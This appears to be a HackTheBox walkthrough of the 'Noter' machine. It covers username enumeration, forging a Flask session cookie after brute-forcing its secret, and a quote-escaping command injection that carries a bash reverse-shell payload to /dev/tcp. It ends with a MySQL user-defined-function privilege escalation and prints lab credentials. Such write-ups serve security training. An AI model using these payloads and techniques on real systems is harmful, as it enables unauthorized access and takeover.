HackTheBox — Noter

Noter was a medium rated machine which involved user enumeration through login error messages which lead lead to modifying the flask session by brute forcing the secret key with flask-unsign allowing us to login, from the dashboard we can get credentials of ftp giving us access to the source code of the application and credentials of mysql, which showed that it was using a node module md-to-pdf vulnerable to code execution giving us a shell as svc, from the credentials of mysql we can login as root and can escalate our privileges through user defined functions (UDF).


21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
5000/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10)
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET
|_http-title: Noter
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

PORT 5000 (HTTP)

On this page we can see an option to see notes but this required a authorized user, I tried to use default admin password admin:admin which didn't worked. Also tried doing a basic sqli admin' or 1=1 -- which failed as well

We do have an option to register an account so let’s do that

After logging in we can add notes and also there’s an option for upgrading to VIP

But this option wasn’t available

So moving on to adding notes, I tried testing for xss which failed

Checking the session cookie, it was a flask session as it can be decoded using flask-unsign which tells that it's a flask application

Maybe there’s SSTI in notes, we can check that too because most of the flask apps are vulnerable to SSTI

This didn’t worked as well, so I went with fuzzing for files and directories using dirsearch


There wasn’t really interesting, looking back at the flask session maybe we can modify it to get a user’s session but for that there are two things we need a valid username which should have admin privileges or should get us somewhere and a flask secret with which we can forge flask session

We can fuzz for usernames and to do that we need to do some filtering with the responses

For the existing username we get an error message “Invalid login”

And for a user which doesn’t exist we get “Invalid credentials” so with the help of error messages we can do user enumeration

Let’s first identify POST parameters

I added ARZ which is a valid user and admin which doesn't exist and looking at the response of characters we can try to filter for characters below 2030 which might give us a username

wfuzz -c -w /opt/SecLists/Usernames/xato-net-10-million-usernames-dup.txt  -u '
0:5000/login' -d 'username=FUZZ&password=1' --hh 2029,2030,2031,2032,2033,2034,2035,2036

So it started to show me responses with less characters but still I wasn’t sure of which ones could be a username so this method isn’t effective even tho we can see a username blue with the same exact characters so this might be the username we are looking but we can do this effectively with a tool called patator


python3 patator.py http_fuzz 'url=' method=POST body='username=FILE0&password=a' 0=/opt/SecLists/Usernames/xato-net-10-million-usernames-dup.txt -x ignore:fgrep='Invalid credentials'

The syntax is a little harder but it’s an awesome tool to fuzz with error messages

Which gives the same user blue and if check on the login page to see if this user exists

We get the message “Invalid login”, now we just need the secret in order to modify the flask session


Visiting hacktricks, we can brute force secret with flask-unsign

Using rockyou.txt to brute force secret didn't work so I had to install the wordlist for flask secret

flask-unsign --unsign --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiQVJaIn0.Ynkvhw.C69zkNUyfYjmYN0e08l6EmWAh1U'

And we got the secret which is secret123, now we need to sign in having the username blue

flask-unsign --sign --cookie "{'logged_in': True, 'username': 'blue'}" --secret 'secret123'

After replacing the flask session we’ll be able to login as blue

And in notes we’ll be able to a password for ftp user blue : blue@Noter!

Reading the pdf file, we’ll get another password username@site_name! so this must be for the ftp_admin which would be ftp_admin@Noter!

Downloading these backup archives, we get two versions of the source code, the one from the backup 1638395546 is having the source code for exporting notes

Un-Intended Method

And it’s running a command to run a node js module passing the contents of markdown file to convert it to pdf which is then executing a shell command with subprocess.run which is vulnerable to command injection

I created a markdown file having a bash reverse shell, now let’s try importing it

After exporting the markdown file we’ll get this error but at our netcat listener we’ll get a connection but it will just close after connecting

To escape the single quote from $'{r.text.strip()}' we need to use ' before our reverse shell and use either pipe | or semicolon ; to execute the reverse shell command at the end we'll specify #

' ;/bin/bash -c 'bash -i >& /dev/tcp/ 0>&1' 

Stabilizing the shell with python3

I didn’t find any thing in user’s directory or having seeing anything with sudo -l so transferred pspy to monitor background processes

We can also see how that single quote escape worked

Intended Method

From the node command being executed, it’s a module called md-to-pdf

This was vulnerable to rce and following the poc we need to create a md file having this content

This payload will download our bash reverse shell and execute it by piping it to bash

From the backup of 1635803546 archive, we previously found credentials for mysql so let's test if these work

Privilege Escalation

From Here we can escalate our privileges through Mysql user defined functions

First we need to compile the source code

Now to create a shared library

After this we need to locate where the plugins are stored and create a table in mysql database which will have an entry for the exploit which will help us in loading it in mysql plugins, create a user defined function which will run system commands using that shared library

Plugins directory is /usr/lib/x86_64-linux-gnu/mariadb19/plugin/

Switching to mysql database

Creating a table named foo and inserting the shared library

From the table, loading the plugin

Creating the function do_system

And now just using the function to get a reverse shell




Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store